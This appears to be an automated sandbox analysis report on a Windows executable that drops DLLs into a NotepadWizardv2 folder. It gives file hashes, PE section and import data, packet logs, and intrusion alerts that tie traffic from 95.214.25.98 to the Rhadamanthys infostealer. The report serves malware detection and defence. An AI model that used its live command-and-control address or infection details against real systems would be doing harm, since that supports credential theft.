SHA1:	8B8A32577051823B003C78C86054874491E9ECFA
SHA-256:	37D9A8057D58B043AD037E9905797C215CD0832D48A29731C1687B23447CE298
SHA-512:	2EFC47A8E104BAA13E19BEE3B3B3364DA09CEA80601BC87492DE348F1C8D61008002540BA8F0DF99B2D20E333D09EA8E097A87C97E91910D7D592D11A953917A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: VqBVE8dJEA.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....................&......&......&............&......&......&......&.....Rich...........PE..L...w.YM...........!......... .......................................................d..................................b(......d....@..4....................P...e......................................@...............H............................text............................... ..`.rdata..b/.......0..................@..@.data........@...p...@..............@....rsrc...4....@......................@..@.reloc...g...P...p..................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\NotepadWizardv2\cximagecrt.dll

Download File

Process:	C:\Users\user\Desktop\XtDhwVrVKn.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	498760
Entropy (8bit):	6.674124910838454
Encrypted:	false
SSDEEP:	12288:fJaqPgrHZx0Cxn0P5ASCH8aH6IAC+tITsQ8p:fkqPgr5x0Cxn0P5ASCH8aaIACDTx8p
MD5:	C36F6E088C6457A43ADB7EDCD17803F3
SHA1:	B25B9FB4C10B8421C8762C7E7B3747113D5702DE
SHA-256:	8E1243454A29998CC7DC89CAECFADC0D29E00E5776A8B5777633238B8CD66F72
SHA-512:	87CAD4C3059BD7DE02338922CF14E515AF5CAD663D473B19DD66A4C8BEFC8BCE61C9C2B5A14671BC71951FDFF345E4CA7A799250D622E2C9236EC03D74D4FE4E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B2/..SA[.SA[.SA[..?[.SA[!.<[.SA[!.:[.SA[.S@[.SA[!.,[ISA[!./["SA[!.;[.SA[!.9[.SA[Rich.SA[................PE..L......M...........!.........`......]........ ......................................a!..................................#U..t...x....@..................H....P... ..p"..............................@...@............ ..X............................text............................... ..`.rdata....... ....... ..............@..@.data...<....0.......0..............@....rsrc........@.......@..............@..@.reloc..n!...P...0...P..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\NotepadWizardv2\dbghelp.dll

Download File

Process:	C:\Users\user\Desktop\XtDhwVrVKn.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	489984
Entropy (8bit):	6.620591640062086
Encrypted:	false
SSDEEP:	6144:p3KP8f7yHkluOutwm5ZNetC5IlhhMUyFWgQK7x5Iz4JxRRAuUzT/9cl84S683WbX:psX5ZNG2y1ycw5IGxRwVc6683WbXn
MD5:	E458D88C71990F545EF941CD16080BAD
SHA1:	CD24CCEC2493B64904CF3C139CD8D58D28D5993B
SHA-256:	5EC121730240548A85B7EF1F7E30D5FDBEE153BB20DD92C2D44BF37395294EC0
SHA-512:	B1755E3DB10B1D12D6EAFFD1D91F5CA5E0F9F8AE1350675BC44AE7A4AF4A48090A9828A8ACBBC69C5813EAC23E02576478113821CB2E04B6288E422F923B446F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......$..`..`..`.....I.....b..`........k......g.....p.....a......a.....w.....a..Rich`..........PE..L.....m=...........!................5l............Qm................................................................0.......$...x....P.......................`...K..@................................................................................text............................... ..`.data...,@.......*..................@....rsrc........P......................@..@.reloc...e...`...f..................@..B..m=8...(.m=C...(.m=P.......Z...(.m=f...).m=s...........msvcrt.dll.KERNEL32.dll.NTDLL.DLL.VERSION.dll.ADVAPI32.dll.RPCRT4.dll...................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\NotepadWizardv2\highgui099.dll

Download File

Process:	C:\Users\user\Desktop\XtDhwVrVKn.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	397312
Entropy (8bit):	6.672405371278951
Encrypted:	false
SSDEEP:	12288:J+7gXTkVRt1dixRtVq2EjMS2E7ETstO/:JlTeRt1dSzd4MSUTsO/
MD5:	A354C42FCB37A50ECAD8DDE250F6119E
SHA1:	0EB4AD5E90D28A4A8553D82CEC53072279AF1961
SHA-256:	89DB6973F4EC5859792BCD8A50CD10DB6B847613F2CEA5ADEF740EEC141673B2
SHA-512:	981C82F6334961C54C80009B14A0C2CD48067BAF6D502560D508BE86F5185374A422609C7FDC9A2CDE9B98A7061EFAB7FD9B1F4F421436A9112833122BC35059
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......r\|..6...6...6......4......;......5....;..n......#...6..........."......7......7......7...Rich6...........PE..L.....YM...........!.........@......y........................................ .......r.............................. K..F....9..........d........................#..`...................................................D............................text............................... ..`.rdata..f...........................@..@.data...0r...`...p...`..............@....rsrc...d...........................@..@.reloc...$.......0..................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\NotepadWizardv2\titanium.raw

Download File

Process:	C:\Users\user\Desktop\XtDhwVrVKn.exe
File Type:	PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	955918
Entropy (8bit):	7.947285268636422
Encrypted:	false
SSDEEP:	24576:0nD1iAWPZK7N5NmIMes1dMuMsF+UTcsERiZLB:0nD8AWc5nUesXAUTvERib
MD5:	0ADDA5740205BE36751606FC8D589F16
SHA1:	0977E2B694B2A0DE03F1CAAADC43F3C6C89F8F07
SHA-256:	E84E440DAD538D5602B3BEFE742A36D33B14F466DE764AB737CA9ACB6C992001
SHA-512:	1A20ACD5A5E32D48F5A80D1D89E03454C41BFE2D829C3031A3C816D738102D62BBB37ED01B9864DDE47A17C549BAA486F51BFE272EB0BED1ECF3DED9810FA68C
Malicious:	false
Preview:	.PNG........IHDR..............X......pHYs............... .IDATx..]..]E....B..I...:!t....Q).OQ..CEP.........'(]A..I...PBI...n....}3.g...%.;.sg.......OZgg.J...R...@z.s.5E...H.L../.........K..'....G..}..LKK.../..0.BSM.....iG..I.&..t.m....w...s)t..G...y.2..@^^^L....+.2&..,X0..}...8..x.....p.......!.)..5y0...b..v..y.....n+`....z.G.../Ry....<..$.D0...z8....C.....J............o...M.-dl.g0.9.Ogsss+.n.j.jmm.....Nx.h&#nj.+........a>$...\|..).$....8..y4...qv........Q.M...."".AZ.lii.V........v..C~~..2b.$..............@..4Fvtt..p...f...A......).M..@.i.] %........idL...PXX.[PP...C.......y.#.x.fH.....m.n.lJ,..._..a...4...5...7.4......Y...C...7..G:...@.T...2H?.....R.?.2..L0....`..%DQQQnqq1...\.. lP.v.)M....v..q..%.l%...@.N.gj.. i...i...m...S...A....`.........&k.........s>.)...FJC7).O.>..F>.9`....d$1i.5),.b...=H..._.)H....C.<..6.4.....M.KCUUU=zg.(.....&..A?..p.m.S)..T).q8..K`...... )2...J....].... ..D@`?3)>....F3.......).vy...A"v... U.**.8...o=.....(....W.R....

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	6.302437376563267
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	XtDhwVrVKn.exe
File size:	2'515'968 bytes
MD5:	eec338fddd2d5fba1395358179c31f43
SHA1:	e9344af6c7353a7aeae032c5469dda7a5a865d3e
SHA256:	e22dc4909170a6ab08366719767378332be2f0ee62a43a8e6883c37ac720aa6b
SHA512:	0cbfe11c08217f3c46f81f360376617b0b70b0c8d53d2fda6e8a1874b28968a4a6ccfae4a549d3958ebea8b82e80fad76815e1416fbd9cbb4f61e8241506c812
SSDEEP:	49152:OGPXINuiBg8FsUMLMX/mH/xnJhMrqF3Ie73PpEfCTV:OVuirsUMMi/jC2ei
TLSH:	A5C55C16B7B801A8E1F3C27CD9A6465AEA7178454B30E7DF12A0465E1F33FE19D39322
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........>...m...m...m2r}m...m].wm...m].um...m].tmY..m..9m...m..)m...m...m...mn>im ..mn>sm...mn>vm...mRich...m................PE..d..

File Icon


Icon Hash:	20830c3018068110

Static PE Info

General

Entrypoint:	0x14016dbe4
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x4D346114 [Mon Jan 17 15:32:36 2011 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	5f091eecefc1b49cd7a2a9cf6847cbb0

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F6238E1A1D0h
dec eax
add esp, 28h
jmp 00007F6238E06B5Bh
int3
int3
dec eax
mov dword ptr [esp+10h], ebx
dec eax
mov dword ptr [esp+08h], ecx
push edi
dec eax
sub esp, 20h
dec eax
mov ebx, ecx
xor eax, eax
dec eax
test ecx, ecx
setne al
test eax, eax
jne 00007F6238E06D38h
call 00007F6238E034DEh
mov dword ptr [eax], 00000016h
call 00007F6238E0F00Fh
dec eax
or eax, FFFFFFFFh
jmp 00007F6238E06D3Eh
call 00007F6238E00F68h
nop
dec eax
mov ecx, ebx
call 00007F6238E06D3Fh
dec eax
mov edi, eax
dec eax
mov ecx, ebx
call 00007F6238E00FF0h
dec eax
mov eax, edi
dec eax
mov ebx, dword ptr [esp+38h]
dec eax
add esp, 20h
pop edi
ret
int3
dec eax
mov dword ptr [esp+10h], ebx
dec eax
mov dword ptr [esp+18h], ebp
dec eax
mov dword ptr [esp+20h], esi
push edi
inc ecx
push esp
inc ecx
push ebp
inc ecx
push esi
inc ecx
push edi
mov eax, 00001050h
call 00007F6238E18D6Fh
dec eax
sub esp, eax
dec eax
mov eax, dword ptr [000C45B0h]
dec eax
xor eax, esp
dec eax
mov dword ptr [esp+00001040h], eax
dec esp
mov esi, ecx
call 00007F6238E14646h
xor ebx, ebx
dec eax
arpl ax, bp
inc ecx
cmp dword ptr [esi+08h], ebx
jnl 00007F6238E06D26h
inc ecx
mov dword ptr [esi+08h], ebx
xor edx, edx
mov ecx, ebp
inc esp
lea eax, dword ptr [edx+01h]
call 00007F6238E06D72h

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[RES] VS2012 UPD3 build 60610
[LNK] VS2012 UPD3 build 60610

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x22e1e4	0x12c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x251000	0x19be2	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x23e000	0x1266c	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x26b000	0x1bfa	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1a9c40	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x1f4930	0x70	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1a9000	0xa80	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1a77b0	0x1a7800	False	0.4919182823568477	data	6.444340630312175	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x1a9000	0x872fe	0x87400	False	0.33096623729205177	OpenPGP Public Key	5.004380279623455	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x231000	0xcb80	0x6800	False	0.18990384615384615	data	3.7797557807046815	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x23e000	0x1266c	0x12800	False	0.4943913640202703	data	6.219237532922472	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x251000	0x19be2	0x19c00	False	0.39815306432038833	data	5.218548012231411	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x26b000	0x463c	0x4800	False	0.1484375	data	2.9661717135354397	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
BINARY	0x251bb0	0x5d9b	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 329x159, components 3	English	United States	0.9932395776822601
TEXT	0x25794c	0x789	ASCII text, with CRLF line terminators	English	United States	0.5448418869880767
RT_ICON	0x2580d8	0x2128	Device independent bitmap graphic, 32 x 128 x 32, image size 8448	English	United States	0.027214891611687088
RT_ICON	0x25a200	0x12e8	Device independent bitmap graphic, 24 x 96 x 32, image size 4800	English	United States	0.03966942148760331
RT_ICON	0x25b4e8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0, resolution 2835 x 2835 px/m	English	United States	0.42193140794223827
RT_ICON	0x25bd90	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0, resolution 2835 x 2835 px/m	English	United States	0.21060037523452158
RT_ICON	0x25ce38	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0, resolution 2835 x 2835 px/m	English	United States	0.46435018050541516
RT_ICON	0x25d6e0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0, resolution 2835 x 2835 px/m	English	United States	0.2375703564727955
RT_ICON	0x25e788	0x8a8	Device independent bitmap graphic, 16 x 64 x 32, image size 2176	English	United States	0.061371841155234655
RT_ICON	0x25f030	0x268	Device independent bitmap graphic, 8 x 32 x 32, image size 576	English	United States	0.1314935064935065
RT_MENU	0x25f298	0x1ca	data	English	United States	0.4890829694323144
RT_MENU	0x25f464	0x50	data	English	United States	0.825
RT_MENU	0x25f4b4	0x9c	data	English	United States	0.6666666666666666
RT_MENU	0x25f550	0x74	data	English	United States	0.7327586206896551
RT_DIALOG	0x25f5c4	0x90	data	English	United States	0.7777777777777778
RT_DIALOG	0x25f654	0x348	data	English	United States	0.4642857142857143
RT_DIALOG	0x25f99c	0x240	data	English	United States	0.5329861111111112
RT_DIALOG	0x25fbdc	0x51a	data	English	United States	0.3905053598774885
RT_DIALOG	0x2600f8	0x200	data	English	United States	0.521484375
RT_DIALOG	0x2602f8	0x120	data	English	United States	0.65625
RT_DIALOG	0x260418	0x60	data	English	United States	0.7604166666666666
RT_DIALOG	0x260478	0x22c	data	English	United States	0.5071942446043165
RT_DIALOG	0x2606a4	0x5f0	data	English	United States	0.3993421052631579
RT_DIALOG	0x260c94	0x420	data	English	United States	0.45075757575757575
RT_DIALOG	0x2610b4	0x120	data	English	United States	0.6076388888888888
RT_DIALOG	0x2611d4	0x270	data	English	United States	0.4967948717948718
RT_DIALOG	0x261444	0x1b8	data	English	United States	0.5386363636363637
RT_DIALOG	0x2615fc	0x94	data	English	United States	0.7905405405405406
RT_DIALOG	0x261690	0x27c	data	English	United States	0.49528301886792453
RT_DIALOG	0x26190c	0x120	data	English	United States	0.5798611111111112
RT_DIALOG	0x261a2c	0x2cc	data	English	United States	0.46089385474860334
RT_DIALOG	0x261cf8	0x78	data	English	United States	0.7166666666666667
RT_DIALOG	0x261d70	0x30a	data	English	United States	0.39588688946015427
RT_DIALOG	0x26207c	0x8ae	data	English	United States	0.3159315931593159
RT_DIALOG	0x26292c	0x6e2	data	English	United States	0.3938706015891033
RT_DIALOG	0x263010	0x2ae	data	English	United States	0.4446064139941691
RT_DIALOG	0x2632c0	0x2c8	data	English	United States	0.4887640449438202
RT_DIALOG	0x263588	0x268	data	English	United States	0.5064935064935064
RT_STRING	0x2637f0	0xa8	data	English	United States	0.6845238095238095
RT_STRING	0x263898	0x302	data	English	United States	0.42857142857142855
RT_STRING	0x263b9c	0x290	data	English	United States	0.4878048780487805
RT_STRING	0x263e2c	0x2e6	data	English	United States	0.47035040431266845
RT_STRING	0x264114	0x62a	data	English	United States	0.39480354879594426
RT_STRING	0x264740	0xacc	data	English	United States	0.3259768451519537
RT_STRING	0x26520c	0x28a	data	English	United States	0.47384615384615386
RT_STRING	0x265498	0x63e	data	English	United States	0.32728410513141426
RT_STRING	0x265ad8	0x57e	data	English	United States	0.37268847795163584
RT_STRING	0x266058	0x14f2	data	English	United States	0.27694889966430436
RT_STRING	0x26754c	0x16f6	data	English	United States	0.2063627084042191
RT_STRING	0x268c44	0x1080	data	English	United States	0.2585227272727273
RT_STRING	0x269cc4	0x678	OpenPGP Public Key	English	United States	0.36594202898550726
RT_STRING	0x26a33c	0x48	data	English	United States	0.5
RT_GROUP_ICON	0x26a384	0x3e	data	English	United States	0.8548387096774194
RT_GROUP_ICON	0x26a3c4	0x22	data	English	United States	1.0294117647058822
RT_GROUP_ICON	0x26a3e8	0x22	data	English	United States	1.0294117647058822
RT_VERSION	0x26a40c	0x214	data	English	United States	0.5037593984962406
RT_MANIFEST	0x26a620	0x5c2	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.4253731343283582

Imports

DLL	Import
COMCTL32.dll	CreatePropertySheetPageW, PropertySheetW, InitCommonControlsEx
WS2_32.dll	getaddrinfo, freeaddrinfo, ioctlsocket, listen, accept, WSAPoll, send, getpeername, connect, WSAGetLastError, ntohl, WSAAddressToStringW, htonl, htons, WSACleanup, WSAStartup, select, ntohs, getsockname, setsockopt, recv, bind, socket, WSASetLastError, closesocket, getsockopt, gethostname
IPHLPAPI.DLL	GetAdaptersInfo, GetAdaptersAddresses
SHLWAPI.dll	PathIsURLW, PathIsRelativeW, PathRelativePathToW, PathIsSameRootW, PathRemoveBackslashW, PathAddBackslashW, PathAppendW, PathFileExistsW
RPCRT4.dll	UuidCreate, UuidToStringW
fwpuclnt.dll	FwpmTransactionCommit0, FwpmEngineClose0, FwpmEngineOpen0, FwpmTransactionBegin0, FwpmCalloutAdd0, FwpmSubLayerAdd0, FwpmFilterAdd0
KERNEL32.dll	GetTimeFormatW, GetDateFormatW, GetModuleHandleW, FindResourceW, SizeofResource, LoadResource, LockResource, FormatMessageA, LocalFree, GetLastError, GetModuleFileNameW, MultiByteToWideChar, WideCharToMultiByte, CreateFileW, GetFileSize, CloseHandle, CreateFileMappingW, MapViewOfFile, UnmapViewOfFile, CopyFileW, DeleteFileW, MoveFileExW, Sleep, DeviceIoControl, CancelIo, GetOverlappedResult, LoadLibraryW, GetProcAddress, VirtualProtect, WriteProcessMemory, GetCurrentProcess, GetCurrentThreadId, GetCurrentProcessId, EnterCriticalSection, LeaveCriticalSection, TryEnterCriticalSection, GetLocalTime, CreateDirectoryW, GlobalAlloc, GlobalLock, GlobalUnlock, GetFileTime, InitializeCriticalSection, DeleteCriticalSection, ResumeThread, SetThreadPriority, GetTickCount, SetProcessWorkingSetSize, GetVersionExW, GetSystemInfo, OpenMutexW, CreateMutexW, SetUnhandledExceptionFilter, CreateEventW, CreateThread, SetEvent, WaitForSingleObject, WaitForMultipleObjects, ResetEvent, FreeResource, MulDiv, ReleaseMutex, FormatMessageW, GetStartupInfoW, GetEnvironmentStringsW, TlsSetValue, TlsGetValue, TlsAlloc, TerminateProcess, CompareStringW, RtlVirtualUnwind, RtlCaptureContext, InitializeCriticalSectionAndSpinCount, RtlUnwindEx, RtlLookupFunctionEntry, RaiseException, PeekNamedPipe, GetFileInformationByHandle, SetFilePointerEx, IsProcessorFeaturePresent, IsDebuggerPresent, GetCommandLineW, GetCPInfo, FileTimeToSystemTime, GetDriveTypeW, FindFirstFileExW, FindClose, FileTimeToLocalFileTime, LoadLibraryExW, ExitThread, GetFileType, RtlPcToFileHeader, DecodePointer, EncodePointer, GetStringTypeW, ExpandEnvironmentStringsW, SetLastError, SleepEx, DeleteFileA, AreFileApisANSI, GetSystemTime, GetTempPathA, GetVersionExA, OutputDebugStringA, GetFileAttributesExW, GetDiskFreeSpaceA, CreateFileMappingA, LoadLibraryA, GetDiskFreeSpaceW, LockFileEx, HeapSize, GetTempPathW, FlushFileBuffers, GetFileAttributesW, HeapValidate, HeapCreate, GetFileAttributesA, HeapDestroy, GetSystemTimeAsFileTime, GetProcessHeap, UnlockFileEx, OutputDebugStringW, LockFile, UnlockFile, HeapFree, QueryPerformanceCounter, SystemTimeToFileTime, HeapAlloc, FreeLibrary, SetEndOfFile, HeapReAlloc, GetFullPathNameA, GetFullPathNameW, ReadFile, WriteFile, SetEnvironmentVariableA, SetFilePointer, CreateFileA, FreeEnvironmentStringsW, GetConsoleCP, GetConsoleMode, LCMapStringW, IsValidLocale, GetLocaleInfoW, ReadConsoleW, GetUserDefaultLCID, EnumSystemLocalesW, GetStdHandle, ExitProcess, IsValidCodePage, GetModuleHandleExW, GetACP, GetOEMCP, UnhandledExceptionFilter, SetStdHandle, GetTimeZoneInformation, GetCurrentDirectoryW, SetEnvironmentVariableW, WriteConsoleW, TlsFree
USER32.dll	ReleaseDC, GetDesktopWindow, CheckRadioButton, SystemParametersInfoW, IsWindowVisible, GetDC, DestroyWindow, SetDlgItemTextA, SendMessageW, LoadIconW, EndDialog, GetParent, LoadStringW, EnableWindow, GetWindowTextLengthW, GetDlgItem, SetDlgItemTextW, SetDlgItemInt, GetDlgItemInt, TranslateMessage, GetMessageW, SendNotifyMessageW, CheckMenuItem, GetCursorPos, GetAncestor, WindowFromPoint, GetSystemMetrics, RegisterWindowMessageW, PostQuitMessage, KillTimer, LoadImageW, SetTimer, AnimateWindow, InsertMenuItemW, PostMessageW, InsertMenuW, GetSubMenu, LoadMenuW, SetWindowTextW, DestroyMenu, TrackPopupMenuEx, SetForegroundWindow, AppendMenuW, CreatePopupMenu, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, CreateDialogParamW, CreateWindowExW, MapDialogRect, ShowWindow, SetWindowPos, CallWindowProcW, SendDlgItemMessageW, GetDlgItemTextW, GetMenu, MoveWindow, SetFocus, EndDeferWindowPos, DeferWindowPos, BeginDeferWindowPos, GetWindowRect, MessageBoxW, DialogBoxParamW, RegisterClassW, LoadCursorW, DefWindowProcW, EndPaint, FillRect, BeginPaint, GetClientRect, GetDlgCtrlID, InvalidateRect, GetWindowLongW, SetWindowLongW, CheckDlgButton, SetWindowLongPtrW, GetWindowTextW, IsDlgButtonChecked, GetWindowLongPtrW, DispatchMessageW
GDI32.dll	GetDeviceCaps, GetStockObject, DeleteObject, CreateSolidBrush, CreateFontIndirectW
COMDLG32.dll	ChooseColorW, GetOpenFileNameW, GetSaveFileNameW
ADVAPI32.dll	DeleteService, RegQueryValueExW, RegCloseKey, RegDeleteValueW, ControlService, QueryServiceStatus, QueryServiceConfigW, CloseServiceHandle, OpenServiceW, CreateServiceW, OpenSCManagerW, StartServiceW, RegOpenKeyExW, RegSetValueExW
SHELL32.dll	ShellExecuteW, Shell_NotifyIconW, SHBrowseForFolderW, SHGetPathFromIDListW
ole32.dll	CreateStreamOnHGlobal, CoInitializeEx
OLEAUT32.dll	OleLoadPicture

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
95.214.25.98192.168.2.55932497172854802 11/17/23-06:23:33.112418	TCP	2854802	ETPRO TROJAN Suspected Rhadamanthys Related SSL Cert	5932	49717	95.214.25.98	192.168.2.5
95.214.25.98192.168.2.55932497142854802 11/17/23-06:23:05.300196	TCP	2854802	ETPRO TROJAN Suspected Rhadamanthys Related SSL Cert	5932	49714	95.214.25.98	192.168.2.5
95.214.25.98192.168.2.55932497162854802 11/17/23-06:23:21.022648	TCP	2854802	ETPRO TROJAN Suspected Rhadamanthys Related SSL Cert	5932	49716	95.214.25.98	192.168.2.5

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 17, 2023 06:22:20.588217974 CET	49704	443	192.168.2.5	128.104.160.19
Nov 17, 2023 06:22:20.588258982 CET	443	49704	128.104.160.19	192.168.2.5
Nov 17, 2023 06:22:20.588377953 CET	49704	443	192.168.2.5	128.104.160.19
Nov 17, 2023 06:22:20.602011919 CET	49704	443	192.168.2.5	128.104.160.19
Nov 17, 2023 06:22:20.602025986 CET	443	49704	128.104.160.19	192.168.2.5
Nov 17, 2023 06:22:21.075625896 CET	443	49704	128.104.160.19	192.168.2.5
Nov 17, 2023 06:22:21.075731993 CET	49704	443	192.168.2.5	128.104.160.19
Nov 17, 2023 06:22:21.211213112 CET	49704	443	192.168.2.5	128.104.160.19
Nov 17, 2023 06:22:21.211242914 CET	443	49704	128.104.160.19	192.168.2.5
Nov 17, 2023 06:22:21.212307930 CET	443	49704	128.104.160.19	192.168.2.5
Nov 17, 2023 06:22:21.212412119 CET	49704	443	192.168.2.5	128.104.160.19
Nov 17, 2023 06:22:21.216301918 CET	49704	443	192.168.2.5	128.104.160.19
Nov 17, 2023 06:22:21.261297941 CET	443	49704	128.104.160.19	192.168.2.5
Nov 17, 2023 06:22:21.471766949 CET	443	49704	128.104.160.19	192.168.2.5
Nov 17, 2023 06:22:21.471870899 CET	443	49704	128.104.160.19	192.168.2.5
Nov 17, 2023 06:22:21.472004890 CET	49704	443	192.168.2.5	128.104.160.19
Nov 17, 2023 06:22:21.472004890 CET	49704	443	192.168.2.5	128.104.160.19
Nov 17, 2023 06:22:21.473942995 CET	49704	443	192.168.2.5	128.104.160.19
Nov 17, 2023 06:22:21.473964930 CET	443	49704	128.104.160.19	192.168.2.5
Nov 17, 2023 06:22:21.476022005 CET	49705	443	192.168.2.5	128.104.160.19
Nov 17, 2023 06:22:21.476064920 CET	443	49705	128.104.160.19	192.168.2.5
Nov 17, 2023 06:22:21.476157904 CET	49705	443	192.168.2.5	128.104.160.19
Nov 17, 2023 06:22:21.476519108 CET	49705	443	192.168.2.5	128.104.160.19
Nov 17, 2023 06:22:21.476531982 CET	443	49705	128.104.160.19	192.168.2.5
Nov 17, 2023 06:22:21.939125061 CET	443	49705	128.104.160.19	192.168.2.5
Nov 17, 2023 06:22:21.939383030 CET	49705	443	192.168.2.5	128.104.160.19
Nov 17, 2023 06:22:21.939845085 CET	49705	443	192.168.2.5	128.104.160.19
Nov 17, 2023 06:22:21.939852953 CET	443	49705	128.104.160.19	192.168.2.5
Nov 17, 2023 06:22:21.940094948 CET	49705	443	192.168.2.5	128.104.160.19
Nov 17, 2023 06:22:21.940100908 CET	443	49705	128.104.160.19	192.168.2.5
Nov 17, 2023 06:22:22.346400023 CET	443	49705	128.104.160.19	192.168.2.5
Nov 17, 2023 06:22:22.346556902 CET	443	49705	128.104.160.19	192.168.2.5
Nov 17, 2023 06:22:22.346565962 CET	49705	443	192.168.2.5	128.104.160.19
Nov 17, 2023 06:22:22.346618891 CET	49705	443	192.168.2.5	128.104.160.19
Nov 17, 2023 06:22:22.347548962 CET	49705	443	192.168.2.5	128.104.160.19
Nov 17, 2023 06:22:22.347567081 CET	443	49705	128.104.160.19	192.168.2.5
Nov 17, 2023 06:22:22.533498049 CET	49706	443	192.168.2.5	151.101.200.193
Nov 17, 2023 06:22:22.533539057 CET	443	49706	151.101.200.193	192.168.2.5
Nov 17, 2023 06:22:22.533623934 CET	49706	443	192.168.2.5	151.101.200.193
Nov 17, 2023 06:22:22.534368992 CET	49706	443	192.168.2.5	151.101.200.193
Nov 17, 2023 06:22:22.534387112 CET	443	49706	151.101.200.193	192.168.2.5
Nov 17, 2023 06:22:23.080328941 CET	443	49706	151.101.200.193	192.168.2.5
Nov 17, 2023 06:22:23.080425024 CET	49706	443	192.168.2.5	151.101.200.193
Nov 17, 2023 06:22:23.090203047 CET	49706	443	192.168.2.5	151.101.200.193
Nov 17, 2023 06:22:23.090217113 CET	443	49706	151.101.200.193	192.168.2.5
Nov 17, 2023 06:22:23.090764046 CET	443	49706	151.101.200.193	192.168.2.5
Nov 17, 2023 06:22:23.092195988 CET	49706	443	192.168.2.5	151.101.200.193
Nov 17, 2023 06:22:23.137260914 CET	443	49706	151.101.200.193	192.168.2.5
Nov 17, 2023 06:22:23.616866112 CET	443	49706	151.101.200.193	192.168.2.5
Nov 17, 2023 06:22:23.646008015 CET	443	49706	151.101.200.193	192.168.2.5
